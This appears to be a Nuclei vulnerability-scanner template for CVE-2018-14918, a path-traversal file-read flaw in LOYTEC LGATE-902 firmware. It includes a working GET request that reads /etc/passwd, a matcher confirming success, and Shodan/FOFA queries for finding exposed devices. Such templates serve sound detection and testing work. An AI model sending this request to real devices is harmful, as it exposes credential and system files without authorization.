LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.
PoC代码[已公开]
id: CVE-2018-14918
info:
name: LOYTEC LGATE-902 6.3.2 - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
remediation: |
Apply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.
reference:
- https://seclists.org/fulldisclosure/2019/Apr/12
- http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-14918
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/HimmelAward/Goby_POC
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-14918
cwe-id: CWE-22
epss-score: 0.73138
epss-percentile: 0.98748
cpe: cpe:2.3:o:loytec:lgate-902_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: loytec
product: lgate-902_firmware
shodan-query:
- http.html:"LGATE-902"
- http.html:"lgate-902"
fofa-query: body="lgate-902"
tags: cve,cve2018,loytec,lfi,seclists,packetstorm,lgate,xss
http:
- method: GET
path:
- "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100a20db68f3bea02e309958fbbcecbfc0cf55861d5747b0fa4f8cfc99a909a4f4e02210086a4f66b89731ad9bed027826525a386beb0307a5bc145ab00267722adc978a3:922c64590222798bb761d5b6d8e72950